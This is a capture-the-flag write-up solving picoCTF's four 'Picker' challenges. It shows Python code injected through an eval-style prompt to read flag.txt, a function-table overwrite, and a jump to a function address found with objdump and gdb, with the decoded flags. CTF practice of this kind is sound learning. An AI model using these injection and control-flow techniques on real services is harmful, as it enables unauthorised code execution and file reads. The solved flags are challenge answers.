## Picker I 1. from source code, we can see that we can run the function we want by entering the function name instead of entering *getRandomNumber* 2. after entering *win*, we get a string: `0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x5f 0x64 0x31 0x34 0x6d 0x30 0x6e 0x64 0x5f 0x31 0x6e 0x5f 0x37 0x68 0x33 0x5f 0x72 0x30 0x75 0x67 0x68 0x5f 0x63 0x65 0x34 0x62 0x35 0x64 0x35 0x62 0x7d` , which is a series of hexidecimal numbers 3. use [Python3 ](https://sabe.io/blog/python-hex-to-decimal#using-int)or online decoder to decode it ```shell ┌──(kali㉿kali)-[~] └─$ python3 Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> in_str="0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x5f 0x64 0x31 0x34 0x6d 0x30 0x6e 0x64 0x5f 0x31 0x6e 0x5f 0x37 0x68 0x33 0x5f 0x72 0x30 0x75 0x67 0x68 0x5f 0x63 0x65 0x34 0x62 0x35 0x64 0x35 0x62 0x7d" >>> list1=in_str.split() >>> for e in list1: print(chr(int(e,16)),end="") ... picoCTF{4_d14m0nd_1n_7h3_r0ugh_ce4b5d5b} ``` ## Picker II 1. This time, there is a filter that will block us from entering `win` to call the `win` function. Also, the hint says that *Can you do what `win` does with your input to the program?*, and what `win` does is printing the flag. 2. From the source code, we can see that the content of the flag is read through this line: `open('flag.txt', 'r').read()`. So, we can print out the flag by `print(open('flag.txt', 'r').read())`, the complete code will be like this: ```shell ┌──(kali㉿kali)-[~/code] └─$ nc saturn.picoctf.net 50454 ==> print(open('flag.txt', 'r').read()) picoCTF{f1l73r5_f41l_c0d3_r3f4c70r_m1gh7_5ucc33d_95d44590} 'NoneType' object is not callable ==> ``` *NOTE: If there's one more pair of brackets after the function, it(the function) will still be processed. For example: ```shell ┌──(kali㉿kali)-[~/code] └─$ nc saturn.picoctf.net 49374 ==> getRandomNumber() 4 'NoneType' object is not callable ``` ## Picker III 1. Overwrite what the function listed do ```shell ┌──(kali㉿kali)-[~/code] └─$ nc saturn.picoctf.net 51933 ==> 3 Please enter variable name to write: getRandomNumber Please enter new value of variable: win ==> ? This program fixes vulnerabilities in its predecessor by limiting what functions can be called to a table of predefined functions. This still puts the user in charge, but prevents them from calling undesirable subroutines. * Enter 'quit' to quit the program. * Enter 'help' for this text. * Enter 'reset' to reset the table. * Enter '1' to execute the first function in the table. * Enter '2' to execute the second function in the table. * Enter '3' to execute the third function in the table. * Enter '4' to execute the fourth function in the table. Here's the current table: 1: print_table 2: read_variable 3: write_variable 4: getRandomNumber ==> 4 0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x32 0x32 0x36 0x64 0x64 0x32 0x38 0x35 0x7d ==> ``` ### Note: `print(open('flag.txt', 'r').read())` is too long for `new value of variable`, so you'll get `Illegal value` in response. Also, creating a new variable doesn't work either, since there's no function number for the newly created function, and `read_variable` function is only able to print the content of the function instead of executing it, like this: ```shell ==> 3 Please enter variable name to write: flag Please enter new value of variable: "open" + "\x28" + "\"flag.txt\"" + "," + "\"r\"" + "\x29" + ".read" + "\x28" + "\x29" ==> 2 Please enter variable name to read: flag open("flag.txt","r").read() ``` 2. Use Python to convert hex to text ```shell ┌──(kali㉿kali)-[~] └─$ python3 Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> in_str="0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x32 0x32 0x36 0x64 0x64 0x32 0x38 0x35 0x7d" >>> list1=in_str.split() >>> list1 ['0x70', '0x69', '0x63', '0x6f', '0x43', '0x54', '0x46', '0x7b', '0x37', '0x68', '0x31', '0x35', '0x5f', '0x31', '0x35', '0x5f', '0x77', '0x68', '0x34', '0x37', '0x5f', '0x77', '0x33', '0x5f', '0x67', '0x33', '0x37', '0x5f', '0x77', '0x31', '0x37', '0x68', '0x5f', '0x75', '0x35', '0x33', '0x72', '0x35', '0x5f', '0x31', '0x6e', '0x5f', '0x63', '0x68', '0x34', '0x72', '0x67', '0x33', '0x5f', '0x32', '0x32', '0x36', '0x64', '0x64', '0x32', '0x38', '0x35', '0x7d'] >>> for e in list1: print(chr(int(e,16)),end="") ... picoCTF{7h15_15_wh47_w3_g37_w17h_u53r5_1n_ch4rg3_226dd285} ``` ## Picker IV 1. Use `objdump` to access the location of the function `win`: ```shell ┌──(kali㉿kali)-[~/code] └─$ objdump -M intel -d picker-IV | grep "win" 000000000040129e <win>: 4012d2: 75 16 jne 4012ea <win+0x4c> 4012f9: eb 1a jmp 401315 <win+0x77> 401319: 75 e0 jne 4012fb <win+0x5d> ``` ### Alternative (gdb) ```shell ┌──(kali㉿kali)-[~/code] └─$ gdb picker-IV GNU gdb (Debian 13.2-1) 13.2 Copyright (C) 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from picker-IV... (No debugging symbols found in picker-IV) gdb-peda$ info function All defined functions: Non-debugging symbols: 0x0000000000401000 _init 0x00000000004010e0 putchar@plt 0x00000000004010f0 puts@plt 0x0000000000401100 fclose@plt 0x0000000000401110 printf@plt 0x0000000000401120 fgetc@plt 0x0000000000401130 signal@plt 0x0000000000401140 setvbuf@plt 0x0000000000401150 fopen@plt 0x0000000000401160 __isoc99_scanf@plt 0x0000000000401170 exit@plt 0x0000000000401180 sleep@plt 0x0000000000401190 _start 0x00000000004011c0 _dl_relocate_static_pie 0x00000000004011d0 deregister_tm_clones 0x0000000000401200 register_tm_clones 0x0000000000401240 __do_global_dtors_aux 0x0000000000401270 frame_dummy 0x0000000000401276 print_segf_message 0x000000000040129e win 0x0000000000401334 main 0x00000000004013d0 __libc_csu_init 0x0000000000401440 __libc_csu_fini 0x0000000000401448 _fini ``` and you'll see the location of `win`, which is `0x000000000040129e` (*Ghidra* will work as well, I assume) 2. Send the location to netcat ```shell ┌──(kali㉿kali)-[~] └─$ nc saturn.picoctf.net 50930 Enter the address in hex to jump to, excluding '0x': 000000000040129e You input 0x40129e You won! picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4} ``` ### Some ranting In the beginning, I thought what I should do is to convert `win` from string to hex ```shell ┌──(kali㉿kali)-[~] └─$ python3 Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> in_str="win" >>> hex_str=in_str.encode() >>> hex_str b'win' >>> hex_str.hex() '77696e' ``` but it failed, like this: ```shell ┌──(kali㉿kali)-[~/code] └─$ nc saturn.picoctf.net 50930 Enter the address in hex to jump to, excluding '0x': 77696e You input 0x77696e Segfault triggered! Exiting. ``` Then I saw the hint: *How can you find the address that win is at?*. I looked into the source code again, and found that the function seemed to be called by its address: `void (*foo)(void) = (void (*)())val; foo();`, so I turned to look for the address